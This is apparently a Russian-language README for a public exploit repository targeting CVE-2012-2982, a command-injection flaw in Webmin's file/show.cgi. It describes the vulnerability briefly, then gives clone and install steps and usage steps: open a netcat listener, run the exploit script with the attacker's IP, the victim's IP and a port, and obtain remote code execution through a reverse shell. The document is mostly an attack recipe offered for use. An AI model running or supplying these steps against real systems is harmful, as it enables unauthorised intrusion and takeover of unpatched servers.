CVE-2012-2982

Описание

file/show.cgi в Webmin 1.590 и более ранних версиях позволяет удаленным аутентифицированным пользователям выполнять произвольные команды через недопустимый символ в пути, что продемонстрировано с помощью символа | (вертикальной черты).

Установка

1. git clone https://github.com/CpyRe/CVE-2012-2982.git
2. pip3 install -r requirements.txt

Использование

1. nc -nlvp <port>
2. python3 exp.py <myip> <vulnip> <port> ИЛИ python3 subprocess-exp.py <myip> <vulnip> <port>
3. RCE!!